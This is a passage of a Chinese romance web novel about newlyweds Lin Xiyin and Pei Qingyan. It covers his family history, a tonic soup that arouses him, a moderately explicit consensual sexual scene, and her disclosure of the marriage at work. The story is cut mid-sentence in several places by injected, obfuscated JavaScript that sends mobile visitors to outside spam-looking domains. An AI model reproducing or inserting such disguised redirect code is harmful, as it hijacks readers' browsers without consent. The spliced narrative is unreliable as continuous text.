当然家里的那张婚纱照他也很帅,可除了那张照片,林汐音没有任何关于裴清宴的照片可以保存。 这张证件照虽然不及他本人好看,但也已经是超绝帅了! 林汐音忍不住又欣赏起来。 林章越忍无可忍:“你给我往下看!” 林汐音心不在焉:“哦哦哦……” 林章越简直没有办法,指了指侧面的双人沙发,无奈提醒她:“坐下看。” …… 这与其说是一份裴清宴的个人资料,更准确来说是整个许家的资料——启天资本,旗下控股的上市公司超过百家。 林汐音不知道自己过去了解多少,总之这是个不错的机会,她坐在沙发里认真看起来。 林章越在女儿面前不抽烟,偶尔无聊了,就出声解释一句:“你爷爷那一辈的时候两家关系还算不错,不过到我这辈就淡多了。” 林汐音抬起头:“为什么啊?” 林章越哼了声:“我堂堂千屿市首富,是谁想巴结就能巴结的么。” “……” “他们许家的人,心术都不正。”林章越语气不屑,“尤其那个许绍琛,从小就不是什么好东西。” 许绍琛,是裴清宴的父亲。资料里写他在同一辈里排行第二,上有哥哥下有妹妹,原本是家里最不受宠的一个儿子,但结婚后貌似情况有所好转。 林章越还在输出:“要不是裴觅羽看上他,他能有什么出息。” 诶?裴阿姨? 林汐音顿了一下,大脑慢悠悠转起来。 林章越有两个发小,一个是裴觅羽,另一个……印象中林汐音没有听到过名字,大多数时候从林章越口中说出的只有“那个垃圾”四个字。 听说那两位发小后来结婚了,现在想想…… 林汐音小心翼翼道:“爸,好歹是你好朋友嘛,干嘛这样说人家啊。” 林章越又不屑地“哼”了一声。 “……” 裴觅羽是苏黎世最大私人银行之一宝言集团的千金,林汐音自小从父母口中听说过她很多事情,最主要的一件还是林章越和唐芸能结婚,主要的媒人就是她。 林汐音对这个阿姨的印象不多,只记得她和妈妈一样久病缠身,几年前也离世了……但记忆中她漂亮明艳,现在想来裴清宴和许听言那样好看,多少应该是遗传了裴阿姨。 林汐音继续往下看,发现裴清宴竟然还有一个哥哥。 林章越不知道她看了多少,又自顾自说:“抛开他父母的事情不谈,整个许家就他一个姓裴的,你觉得那一家子人,谁会看得上他。” 林汐音小声嘟囔:“干嘛要别人看得上啊。” 再往下看,才发现裴觅羽和许绍琛在结婚的第七年,离婚了。 “裴觅羽的资产大都留给了许听言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375678|168324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那小丫头,许老爷子现在看重的又是裴清宴的大哥,里里外外都没他什么事儿。他老子当年身为老二就不受待见,要不是攀上了小羽这个高枝,许家现在都不一定有他这个人物。” 林章越说着顿了一下,看向林汐音,暗示的很明显:“如今裴清宴这小子在许家的情况不比他爸当年好多少,你就不怕……他跟你结婚,是对你有所图?” 林汐音下意识反驳:“他不会。” 林章越凉凉道:“不会吗。” 虽然眼下林汐音丢掉了很多记忆,对裴清宴也算不上很了解,但她内心就是觉得:“他一定不会的!” 林章越没再说话,低头品了一口茶。 林汐音想了想:“可是对咱们家有所图的人,应该会很多吧……” 林章越承认道:“这倒是,毕竟我是堂堂……” 他话没说完,林汐音接过来补充:“千屿市最帅首富!” 林章越挑起半边眉毛,对这个修饰词很满意。 林汐音趁机小声道:“别人我不确定,但我就是觉得裴清宴一定不会,他是一个很好的人。” 他对她很好,也看得出很喜欢她。 林汐音胸有成竹,本以为林章越还会再说什么打击她一下,没曾想他喝完杯里的茶,只说:“你只要自己决定好就行。” 这个反应是林汐音始料未及的,她一时呆住。 “好了,这件事就这样吧,剩下的你回去慢慢看。”林章越站起身,边往外走边说,“先来帮我挑挑,后天去见你妈妈,穿哪套西装更好。” …… 晚饭后回到副楼,客厅里满满当当摆着十几捧花。 林汐音走过去,很惊讶:“是从花园里摘的吗,怎么这么多呀。” 洋桔梗、郁金香、铃兰,还有一种玫瑰,是什么品种她一时没看清。 “哎呦就是说呀。”胡姐一边倒腾花瓶插花,一边解释,“都是小裴派人送来的呀,明明我们这里最不缺花的,他还送来这么多。” 林汐音一一看过去,发现几捧郁金香都是青杉居花园里没有的品种,粉色的居多,那束玫瑰……看起来像粉荔枝。 她认真欣赏着,胡姐插好一瓶,递过来给她看,问:“你房间要不要摆一瓶呀,喜欢哪些,等下我弄好了给你拿进去。” 林汐音想了想,都喜欢,纠结了两秒只好说:“我自己来吧。” 胡姐心想她手艺更好,同意道:“那这些我就先不弄啦,等你选好以后再整理。哦对了,早上你让我拿的睡衣都放你房间啦,晚上天气冷,快去洗个热水澡吧。” …… 林汐音独自上楼,不免又回忆起昨晚。 其实就算他不叮嘱,她也会想他的,最近总是这样。 推开门,房间的灯暗着,月光洒进来,书桌上好似有什么。 林汐音打开灯,走过去。 是她早上摘的那束洋桔梗,花被处理的很干净,插在一个漂亮的瓶子里,其中还搭着些粉色的玫瑰点缀。 林汐音视线移动,发现桌上贴着一张便签纸,是裴清宴的字迹,写着—— 此物最相思。 便签被一支粉白相间的郁金香压着,花瓣擦过相思二字。 她认出来,是那朵初恋。 16. 补汤 清明去墓园看过唐芸后,林汐音又在青杉居住了两天。 回市区那天是工作日,她想着裴清宴工作忙,就没提前联系他。 胡姐给她准备了一些小甜点,叮嘱她带上,又问她还有没有什么想吃的,趁着中午时间富裕,可以多做一些。 林汐音摇摇头,她最近已经吃的很好了,这样下去真的要发胖了。 摇到一半,想到裴清宴晚上回家也许会没有饭吃,犹豫道:“要不炖一点汤吧。” 胡姐很惊讶:“汤?你从来不喝的呀。” “想给裴清宴带回去的。”林汐音不好意思起来,“他最近都工作到很晚回来,我担心他会饿肚子。” “这样啊。”胡姐思考着,“那炖一点鸡汤,还是什么补汤,我看小裴身体还是蛮好的,也许鸡汤就够……” “补身体的吧。”林汐音也没什么喝汤经验,只觉鸡汤还是太常见了,她想了想,说,“他最近很辛苦的。” 胡姐若有所思:“这样啊……” 林汐音认真点头。 胡姐头脑风暴了几个补汤的食谱,拿定主意后让她回房间去休息,保证道下午走的时候有一份香腾腾的汤。 …… 傍晚的时候胡师傅送林汐音回到家,偌大的房间空荡荡。 她把胡姐装好的小甜品打开摆在岛台上,洗手后尝了一口蓝莓千层公主卷,一边细细品味,一边思考保温壶里的补汤要盛在哪里比较好。 怕凉了,也不知道裴清宴什么时候回来。 正苦恼着,密码门锁“叮咚”响了一声。 下一秒智能管家的语音响起:“欢迎回家。” 她一顿,紧接着熟悉的脚步声响起,是裴清宴回来了。 好多天没见了,她竟然生出一丝局促,直到他的身影拐进餐厅,林汐音和正在松领带的他撞上视线。 那不安感散了几分,原来真的可以有人只要见到他,心情就会好起来。 林汐音冲他展颜:“我在吃胡姐做的小蛋糕,你要不要尝一下啊。” 裴清宴静静地看着她。 不知过了多久,也可能没多久,他松开领口一粒纽扣,说:“好。” 他撩起袖口,洗干净一双手后,没有先接过林汐音递来的叉子,反而垂首看着她,眼神意味不明。 她有些懵:“怎么啦?” “嘴角沾了奶油。”他低声说。 上次面霜没涂开,这次吃东西又沾奶油,好丢人。 裴清宴抬起手,林汐音知道他是想帮她擦干净,想说不用了,结果动作先于大脑反应,她伸出舌尖舔干净了。 他抬手的动作一滞。 “那,那个……”她稀里糊涂地想说点什么,结巴了两句才捋清舌头,“胡姐还给你煲了汤,要不先喝汤吧。” 这个奶油卷她暂时是没脸看了。 裴清宴放下手,说:“不急。” 林汐音仰起头:“你不饿吗。” “好久没见了。”他问,“有其他的话想对我说吗。” 这几天他们都是微信交流,连电话都没通过。 林汐音知道他想听什么,微微张了下嘴,又低头。她扯了扯他领带下摆,裴清宴配合地弯下腰。 “有在想你的。”她在他耳边小声道。 话音落下,背上就贴来他干燥又灼热的手掌。裴清宴低眉和她对视,没几秒她就受不了这直白的眼神,顺着他掌心的力度躲进他怀里。 四下安静着,他们沉默拥抱了片刻,林汐音伸手抱住他的腰。 她问:“你累不累啊。” 裴清宴如实回答:“有一点。” “那要先休息一下嘛?” “不用。”裴清宴埋首,蹭过她柔软的发,心情也渐渐舒展,他声音很低,像在呢喃,“下次不要分开这么久了,好吗。” 这么说似乎有歧义,他又纠正道:“或者不论你去哪里,我都陪你一起好不好,不要让我一个人。” 他说:“我觉得很孤单。” 林汐音心跳了一下,她咬咬唇,自顾自想她去年出国的那段时间,看来对他影响很大,最近他总是患得患失的。 虽然想不起来,但她还是说:“我答应你。” 又抱了一会儿,她小声提议:“要不要尝一下胡姐炖的汤呀,很香也很补身子的,也许你喝一点就不累了。” 裴清宴松开她,终于心满意足:“好。” 走到餐台,他拧开保温壶,浓汤的香味立马散出来。 林汐音赞叹:“这个闻着好香哦。” 裴清宴拿来两个碗,问她:“要不要一起喝一点。” “不了不了。”林汐音摇摇头,“这个是胡姐特意炖给你的,我最近休息的很好,完全不用补。” “是吗。”裴清宴笑起来,“是胡姐‘特意’,还是音音‘特意’让胡姐炖给我的?” 林汐音反应了一圈,躲闪视线:“是我……” 裴清宴说:“我会好好喝的。” 他倒了满满一碗,在林汐音期待的眼神里喝了个干净。 原来看自己在意的人吃饭是这种感觉,林汐音觉得很满足,忍不住问道:“等下你不忙的话,我们要不要一起看电影呀。” 她最近在青杉居闲着的时候,搜集了好多感兴趣的电影待看清单,一直想和他一起看。 裴清宴点头说好,问她:“要先洗澡吗?” 林汐音嗯嗯点头:“要的。” 两个人都刚刚回家不久,简单吃过饭后分开回房间洗澡,林汐音自认为自己要慢一些,所以连带回家的东西都没来得及收拾,匆忙吹干头发就去了放映室。 结果推开门,裴清宴还没到。 她熟练地打开投影,找出自己想看的电影,这次还是一部恐怖片,不过是末世题材,悬疑和惊悚比例五五开,应该不会那么容易就吓到裴清宴。 林汐音轻车熟路地给自己盖好小毯子,等了一会儿裴清宴终于出现了。 他关上放映室的门,双人软沙发的一侧随着他坐下凹陷,林汐音这才看清他穿的是短袖睡衣。 初春天气变幻莫测,这两天降温了一些。 林汐音分了一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375679|168324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毯子给他,疑惑道:“你不冷嘛?” “不会。” 裴清宴不知道要怎样解释,刚刚喝了那碗汤,没多久他就觉得很热,冲了两遍凉水澡,依旧没有缓解那分燥。 他注意到林汐音担忧的眼神,又解释说:“房间里暖气很足,我不会冷。” “那好吧。”林汐音把毯子轻轻搭在他腿上,点开了电影播放键,小声说,“这次还是恐怖片,但你放心,我已经看过评价啦,不会很恐怖的。” 怕他不信,又补充:“如果你还是觉得害怕的话,可以牵我的手哦。” 裴清宴没有动作,只说:“好。” 电影正式开始,没一会儿林汐音就沉浸其中。 末世电影的恐怖点大多来自世界崩塌前的压迫感,和中式恐怖的阴森感不太一样,林汐音虽然不太害怕,但电影里天色突变,黑压压的云大片压下来时,她还是忍不住往裴清宴那边靠了靠。 幕布太大了也有缺点,沉浸感太强,她总觉得身临其境,仿佛天真的塌下来了一样。 手碰到他裸露在外的小臂,短暂相触,她顿了一下。 “你……不舒服嘛?” 林汐音小心翼翼问了句,手又重新贴上他小臂,他身子好烫,细看才发现他出了一层薄汗。 注意力瞬间从电影里抽离,林汐音侧身打量他,声音也急起来:“你好烫,不会是发烧了吧。” 她说着,抬起手去探他额头。 没碰到,是因为裴清宴捉住她的手,他用力握了一下,声色里全是难耐:“没。” 他否认,艰难吞咽后,又解释:“可能是暖气太足,我觉得有些热。” 林汐音扯开他身上的毯子:“只是热吗,你脸色也不太好啊。” 她逐渐有些着急,挣开他的手,指尖贴到他脸颊时声音都高起来,“啊你的脸也很烫,不会真的发烧了吧,我们先不要看电影了,家里有没有退烧药啊。” 她说着就要从沙发站起身。 裴清宴满心满眼都是她,她的每一句话每一个动作都扯动他的神经,他感觉此刻神志很乱,可看她要走,还是下意识钳制住她,阻断了她的动作。 “别走。”他混乱不堪。 林汐音起身的动作一顿,又回身安抚他:“没有要走的,我只是想帮你去找退烧药。” “我没事。”裴清宴否认,“我喝一点水就好。” 林汐音连忙从沙发旁的小桌上取来水递给他。 裴清宴仰头喝掉,喉结滚动几下。 他额头有一层汗,脸也很红,林汐音越看越担心,又问他:“还需要什么嘛。” 裴清宴垂下眼睫,摇头。 他这样好可怜,林汐音又凑近瞧他,呼吸也很热:“要不要喝点药?” 摇头。 “或者我帮你拿一点冰块敷一下?” 还是摇头。 林汐音慌起来:“那你需要什么嘛。” “你。”裴清宴抬眼,眸色里的清润消失,唯独很浓的欲,他开口,惑人的声音钻进她耳朵,“我需要你,音音。” 17. 灼热 林汐音呆了两秒:“我?” 她又不是药,怎么能帮他嘛,更何况她都不知道他怎么了。 林汐音很混乱,却还是问:“我要怎么帮你……” 裴清宴拳头握紧又松开,忍耐似乎已到极限,他侧身圈住她的腰,等了几秒,她没反抗,还是呆呆地看着他,眼神里全是关切。 裴清宴吸一口气,手臂收紧,微一用力便将她抱到腿上。 突然腾空又被放下,林汐音下意识抓住他小臂,慌乱间人已经面对面坐在了他腿上。 好亲密的姿势,她收回手撑在他胸口。 “为,为什么……”她差点咬到舌头。 裴清宴仰头看她,片刻后难以维持对视的姿势,箍紧她,头埋进她颈间。 热气窜进领口,林汐音轻轻颤了下。 “那碗汤……”裴清宴唇贴着她脖颈,声音难得有些含糊,却很沉,“不太对。” 他这样说。 林汐音大脑晕晕乎乎:“怎么不太对啊……” 裴清宴掌心贴在她腰上,微微发汗,他收紧五指,单薄的睡衣布料钻进他指缝。 林汐音听到他轻轻叹气,接着贴近她耳边,跟她讲述喝汤后身体的反应,以及姗姗来迟的原因。 他每说一句话,尾音就喑哑几分,说到最后,林汐音感觉半边耳朵有点麻。 他声音好好听,难受的时候……有一点性感。 林汐音撑在他肩上,靠他的拥抱着力,反应了几秒他说的话,一张脸红了个彻底。 “那,那那,那要怎么办啊……”她无措起来,又自责,“都怪我不好,胡姐本来要给你炖鸡汤的,是我说要补一点的,她,她可能理解错我的意思了……” 林汐音胡乱地解释着,体温也好似被他感染,逐渐热起来。 她渐渐撑不住,裴清宴掌心微微用力,她又被抱近几分,和他贴在一起。 好像有什么…… 下一秒她身体僵住,双目也瞪圆。 “抱歉。”裴清宴察觉到她的僵硬,找回一点理智,掌心放松和她拉开些距离,声音也潮热,“今天先到这里可以吗,你先回房间去休息。电影……改天再陪你看,好不好。” 林汐音呆滞地点了下头。 他抬起头,又松了手,禁锢消失,她却突然傻傻地问了句:“那个……或许……” 咬咬牙,“是要我帮你嘛。” 说着,试探着抬起一只手。 沉默。 裴清宴没说话,一瞬间只剩沉默弥漫在空气里,偏偏电影还在敬业地播着。 吵闹的、凌乱的、惊恐的声音源源不断从音响里散出来,明明和现实的暧昧氛围不同,却还是敲乱了裴清宴的神志。 “不用。”他话里在拒绝,掌心又收紧,“不要勉强自己。” 他还在给她退路。 而她的大脑已经乱做一团,一半靠本能:“不勉强……”一半又似乎有点理智,“但我不知道要怎么做。” 她细声呢喃:“我,我不太会……” 裴清宴呼吸声变重,又僵持几秒,他腾出手将电影暂停,背景音消失,房间瞬间安静下来。 只剩光还在跃动。 “音音,想清楚。”他声音越发的哑,连呼吸都乱了几分,“要帮我么。” 纷乱的声音消失,林汐音灵台清明了几分,其实此刻退后还来得及,但她看了一眼他的眼睛,理智又崩塌:“我,我帮你吧。” 她小声说。 …… 裴清宴掌住她的手。 “别紧张。”他低声哄着,将她的手往腰腹处带,明明已经忍得发汗,却还是温声安抚她,“如果不喜欢,可以随时停下来,好吗。” 林汐音点头,点的乱七八糟。 指尖碰到他紧绷的小腹,瞬间蜷起来。 她想起不久前在他房间,昏暗的灯光下,他紧实又漂亮的腹肌。 “灯……”林汐音嗓子发干,艰难开口,有些词不达意,“可以把灯关掉嘛。” 放映室的灯一直没开,裴清宴分神思考,明白过来她指的是投影的光。 “好。”他应着,松开她手腕,关掉房间唯一的光源。 四下陷入黑暗,静得让人有些心慌。 静止了几秒,她抖着手覆上去…… 烫。 让人心慌。 意识仿佛也被灼伤。 林汐音像是被丢进火海,赤热的焰瞬间将她包围,她心慌意乱,想要逃,身后的大掌又将她锁住。 “别怕,音音。”他还在低声蛊惑。 林汐音熬干意识,终于在他的指引下探进去,手心都在颤。 …… 耳边传来裴清宴难抑的闷哼声。 林汐音羞到快要不能呼吸,仰颈闭上眼,深呼吸,哪怕房间原本就是一片漆黑。 “怎么办。”她听起来像是快要哭,“我不太会……” 说话间手心里又有一些变化。 她音调都颤起来:“握不住……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15379253|168324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >…… 裴清宴覆拢住她的手,动了两下,埋首进她颈肩,含住一小块肉,轻吮着。 热气落在她耳边,林汐音脑袋彻底发懵。 “就是这样。”裴清宴喘着气,呼吸也乱,“做的很好,音音。”他哄着,仿佛有无限耐心,“再坚持一会儿,好不好。” 林汐音艰难地点头,手上动作没停,不知道是哪里刺激到他,他又重新贴上她侧颈。 深深浅浅的啄吻。 …… 时间仿佛过了很久。林汐音想,应该是很久的,不然她的手不会这么酸。 …… 不知道算不算结束,她靠在他肩头缓神。 彻底没了力。 裴清宴清理干净她手心的痕迹,微微偏头,轻吻了下她耳尖。 “累了吗。” 他不再阵阵地发烫,看起来好了许多,可林汐音贴他很近,有很多来自他的反应难以避免、也难以忽视。 她声若蚊蝇:“你好像还没有好,我……” “没。”裴清宴沉声否认,捉住她微微抬起的手,亲她头发,说,“没事,我已经好多了,谢谢音音。” 林汐音又把头埋起来:“不客气……” …… 裴清宴把她抱到楼下他的房间,在浴室里又重新帮她洗干净手,林汐音垂着脑袋任他摆弄,等收拾好躺进他温暖的被窝时,脑袋还是嗡嗡的。 今天发生的事情是她始料未及的,直到现在她还在思考这一切不会是幻觉吧…… “我冲个澡,很快。”裴清宴沉而缓的嗓音将她带回现实,他轻柔地摸了摸她发顶,“如果困的话可以先睡,好吗。” 林汐音回神,摇摇头:“不困,我等你。” 裴清宴默了下,说好。 说着要等他,然而十几分钟的一个凉水澡,等裴清宴出来时,她已经睡得意识模糊。 感受到柔软床铺的凹陷,林汐音迷迷糊糊转醒,想要撑开眼皮,入耳先听到一声:“睡吧。” 她点头,其实只是蹭了蹭枕头。 裴清宴将她很轻地抱在怀里,干燥又清爽的体温将她包裹,想念了多天的雪松香味终于钻进鼻腔。 她满足地贴上去,意识再次朦胧。 “你好了嘛。”她像在说梦话。 裴清宴心口涨,也疼,全是被她暖的。 轻轻吻她的发:“我很好。” 等了几秒,没再有回应,月色沉沉落下来,裴清宴吻过她眉心:“晚安,音音。” 18. 躲藏 林汐音站在浴室里刷牙,想到昨晚的事,脸一阵阵发烫。 时间还不到六点,她醒来时发现自己趴在裴清宴怀里,微微仰头就碰到他下巴,她先是茫然,随后几个小时前的记忆涌进脑海,她羞得瞬间清醒过来。 轻手轻脚从裴清宴怀里爬出来,趁他还在熟睡,林汐音一股脑跑回了楼上。 刷完牙,头脑还在发懵。 呆站了一会儿,马上要烧熟自己前,她冲进浴室洗了个澡,收拾好又匆匆出门。 大街上还很寂静,林汐音站在小区门口吹了几秒风,清醒过来后打车去了植物研究基地。 她来得早,走进办公室时,张院长吓得差点没抓紧手里的煎饼果子。 “小林?!”他震惊。 林汐音也很惊讶:“院长您来这么早啊?” “这话应该我问你才对吧!” 还不到八点。 年过半百的张院长看着她,咽下一口煎饼,发出了长辈对小辈的关心:“大半年没见,你气色可比之前好多了,可见在国外这段时间调整的还不错?” 林汐音一头雾水:“调整……?” “过去就过去了。”张院长怕勾起她伤心事,没再多说,只道,“既然回来了就好好工作,昨儿我看你那块地的花都开得不错,好好伺候着吧。” 林汐音木讷地点点头。 张院长突然小声道:“我把你那块地交给别人管的事儿,林先生不知道吧?” 林汐音摇头:“不知道——” 张院长松了口气:“那就好。” 林汐音把话补完:“——吧。” “……” “就算他知道也没关系的。”林汐音看张院长脸色发青,忙解释说,“我爸爸他不会在意这个的。” 张院长手抖起来:“真的不在意吗?” “真的,他买的地数都数不清,根本不会记得这一块的。” “哇……”张院长感慨,“你差点就安慰到我了。” 林汐音:“……” “不过既然你回来了,改天我会和接管这块地的裴先生沟通一下,看怎么把钱退给他……” 张院长说着就思考起来。 “我来说吧。”林汐音下意识接道,张院长投来疑惑的目光,她又结巴起来,“那,那个……裴先生,其实是我……好朋友……” 张院长眼里放光:“好朋友?” 林汐音又补:“——的哥哥。” “你这孩子今天说话怎么总大喘气啊。”张院长以为她出国半年中文不流利了,没多深究,“那这样的话我也就放心了,交给你处理,林先生怎么都不会怪到我这里。” 他说着站起身,倍感轻松,压力释放后打起哈欠:“昨晚通宵观察温室里的几朵病株可给我累坏了,我去休息室补个觉,你看着该忙忙吧。” “好,好的。”林汐音心虚起来。 …… 办公室只剩她一人,独自待了会儿昨晚的画面又开始浮现,林汐音一个激灵站起来,趁思想还没彻底攻占大脑的时候跑去了花田。 风一吹,她平静多了。 她在花田里修残枝,忙起来时间过得飞快,没多久关颖来上班,见到她又很惊喜:“学姐?!” 林汐音笑起来。“早啊。” “学姐你一周没来了,我还以为你不回来了呢。”关颖走过来,被她笑容迷的有点晕,“学姐你好漂亮啊。” 林汐音一被人夸就脸红,低着脑袋摘手里的花瓣,声音小小的:“谢谢。” 关颖凑近才发现她脖子红了一小片,像是被蚊子叮咬的,疑惑起来:“诶,这么早就入夏了吗,都有蚊子了。” “是吗。”林汐音没太关心,修剪好一丛,又往后面走,“可能是温室里气温调控的比较好吧。” 关颖跟过来:“你被咬了诶,学姐。” “啊?”林汐音站起来,眼神迷茫,“我吗?” “对啊,你脖子那里,红红的一小片。”关颖指了指自己的脖子示意位置,又问她,“不痒吗学姐。” 林汐音满头雾水,指腹蹭过脖子,没觉得痒,正疑惑着,昨晚的记忆突然涌进脑海。 脖子…… 红一片…… 难道是那个时候…… 林汐音回忆了几秒,脸红起来。 关颖看她突然视线闪躲,耳根也红,作为合格的成年人瞬间敏锐起来:“学姐你……交男朋友了呀?” 八卦之心瞬间燃起。 林汐音却摆手否认:“不是的。” 关颖被震住:“啊?不是男朋友吗?” 眼看关颖看她的眼神越来越复杂,林汐音脱口而出:“其实我……” 要承认结婚吗? 隐婚这么久了…… 犹豫片刻,不知怎么想到裴清宴受伤的眼神,她怔了怔,一股脑承认了:“其实……我结婚了。” “结婚?!”关颖和走进温室的张院长异口同声道。 两道声音同时钻进耳朵,林汐音吓了一跳。 “学姐你竟然结婚了啊!” “小林你还真的在国外结婚了啊?!” “……”虽然顺序不太对,但结果确实是,“是的,我结婚了,但不是在国外。” 关颖:“对方帅吗?” 张院长:“家境如何?” 林汐音有点害羞,低下头声音也变小:“很帅的,家境也很好。” 关颖:“那就好。” 张院长:“也算配得上你。” “不是,小关啊,一大早来了不上班,你跑这里干什么,这对吗?”张院长后知后觉这里还有一个人。 实习生小关声音也小起来:“老银杏最近挺好的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15382792|168324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张院长:“好不好你也得给我看着,快去!” 关颖飞快和林汐音对了个眼神,一边喊着知道了知道了一边跑了。 林汐音笑着,张院长走过来,递给她手机:“你手机落在办公室了,一直响个不停,活活把我给吵醒了。” “抱歉院长……” 林汐音接过手机,解锁后滑开屏幕,裴清宴的未接来电和语音通话有十几条。 糟糕,她早上出门忘记告诉他了。 林汐音一瞬间紧张起来,张院长瞧她一眼就识破:“老公打来的啊?” “啊?” “你这表情和我漏接我老婆电话时候完全一样啊。” “……” “好了好了不打扰你们小夫妻甜蜜了,我走了。” 张院长笑着摆摆手。 “院长拜拜。”林汐音心不在焉。 她低头,在下一通电话打进来前,主动拨回去。 嘟嘟两声。 裴清宴接的很快:“音音?” “抱歉今天我来院里上班,早上走的太急忘记告诉你了,刚刚手机又落在办公室,没看到你电话……”她毫无逻辑和语序的解释一番,又说,“对不起……” 手机那头短暂默了一会儿,林汐音愈发紧张时,裴清宴好听又温润的声音传来:“下班我去接你,好吗?” 他没有生气吧,林汐音忙说:“好的。” “嗯,那音音继续工作吧,下午见。” 就这样吗? 林汐音呆呆的:“下午见……” 电话挂断,她还有些茫然,可简单的几句话也无法判断他的情绪。 林汐音就这样怀揣着心事忙了一天,直到下班坐进宾利的后排车座,她也没想清楚他有没有生气。 本想和他聊几句,结果视线刚对上,昨晚的记忆又回笼…… 林汐音匆匆撇开视线,一路无言。 沉默着回到家,裴清宴问她晚饭想吃什么,她说都可以。问她要不要吃小汤圆,她也说好。 裴清宴脱掉西装外套,走到厨房的水池边洗手,林汐音也跟着他。 洗完手回身,她又躲开。 如此你来我往了几个回合,林汐音始终低着脑袋,每每视线要跟他对上,又飞快错开。 就这么静了会儿,裴清宴叹口气。 他朝她走过去,她一惊,来不及躲,只好一步一步往后退。 退到岛台边,腰被拦截,她停下来。 裴清宴长腿贴过去,在她仰头露出疑惑表情时,手掌探去她腰间,轻轻一提,将她抱上岛台。 林汐音差点惊呼,裴清宴却挤开她膝盖,不容拒绝般站在中间,堵住她的退路,一手撑在台边,一手握紧她的腰。 “一整天了。”他沉下嗓音,好看的眉眼被灯光衬的深邃迷人,声音也乱人心智,“为什么躲我。”他问。 19. 噩梦 “我没……” 林汐音下意识想否认,可自己的种种表现实在没有说服力,哑了几秒,她垂下脑袋,又不吭声了。 裴清宴很耐心地等。 默了会儿,她偷偷抬眼瞧他,结果看到他领口露出的锁骨,然后是那截修长白皙的脖颈,最后停在喉结…… 再次低下头,她连耳朵都红透。 他轻声叹气:“说句话,好吗。” 林汐音下意识就想说抱歉,可总道歉显得很生分,她犹豫了下,紧张又小心翼翼地在他侧脸亲了一口。 裴清宴一瞬间怔住。 害怕对视,她藏进他侧颈。 “你别生气……”声音小小的。 “怎么会。”裴清宴回过神,大掌顺着她单薄的脊背上移,滑到她脑后,轻揉了两下,“为什么亲我。” 他说起这话倒是很坦荡。 林汐音埋在他颈间,声音也含糊:“想和你道歉……不是故意躲你的。” “那是为什么。”裴清宴说着,又温声,“不要道歉,我没有生气,只是你一直不说话,我会很担心。” 林汐音点点头,其实是在他颈窝里来回蹭:“我知道了……” 裴清宴被她蹭的心痒,微仰下巴,让她更好的趴在自己肩头,心情愉悦,声音也舒展起来:“今天工作怎么样,院里忙吗。” “不忙的。”林汐音双手环住他的脖子,聊起白天的事,“院长今天还提到你了,他说改天要把钱退给你,花田以后还归我哦。” “一直是你的。”裴清宴笑着,鼻尖蹭过她长发,“我也是你的。” 语气温柔,和此刻的亲密拥抱相得映彰。 林汐音环他更紧,小小地哦了一声。 “还聊什么了吗,多说点,我很爱听。” 林汐音想了想:“还有……”想到脖子上的那片红,她支支吾吾略掉了过程,只说结果,“我把我们结婚的事情……告诉院长和同事了。” 裴清宴顿了几秒:“是吗。”他声音里的笑意似乎更浓,问她,“音音愿意公开我们的婚姻关系,是不是说明……我还算拿得出手?” 林汐音摇头,否认他的修辞:“你非常非常拿得出手的。” 裴清宴低低地笑,抬手想将她从怀里捞出来,结果刚碰到她胳膊,她却缠的更紧:“别……先别看我。” “怎么了。”他停手。 “我……”声若蚊蚋,“我有点害羞。” 看来躲他一天也是这个原因,裴清宴了然,轻抚着她的长发安慰:“好,那音音还想抱多久。” 她声音更小:“一小会儿就好……” 厨房的顶灯单调却明亮,光斑落在相拥的人身上,无声又安稳,就这样沉默了半响,门铃突然响了。 林汐音一顿,害羞抛在脑后,抬起脑袋看他:“诶,有人来了嘛。” “我去看看。”裴清宴将她从岛台抱下来,倒了杯温热的水给她,“喝一点,你的手很凉。” 回来时外面下雨了,乍暖还寒这几日凉意十分明显。 林汐音乖巧接过来。 裴清宴去开门,门锁刚解开,许听言那道和天气一样清冷的声音就钻进来:“好冷好冷,怎么这么久才开门啊。” 裴清宴拿拖鞋给她:“为什么突然过来。” “心情不好。”许听言换好拖鞋,往屋里走,“有吃的么哥,我好饿。” 拐进客厅,和迎上来的林汐音对上:“音音你回来了啊。”一向冷漠的声音倒添了几分温度。 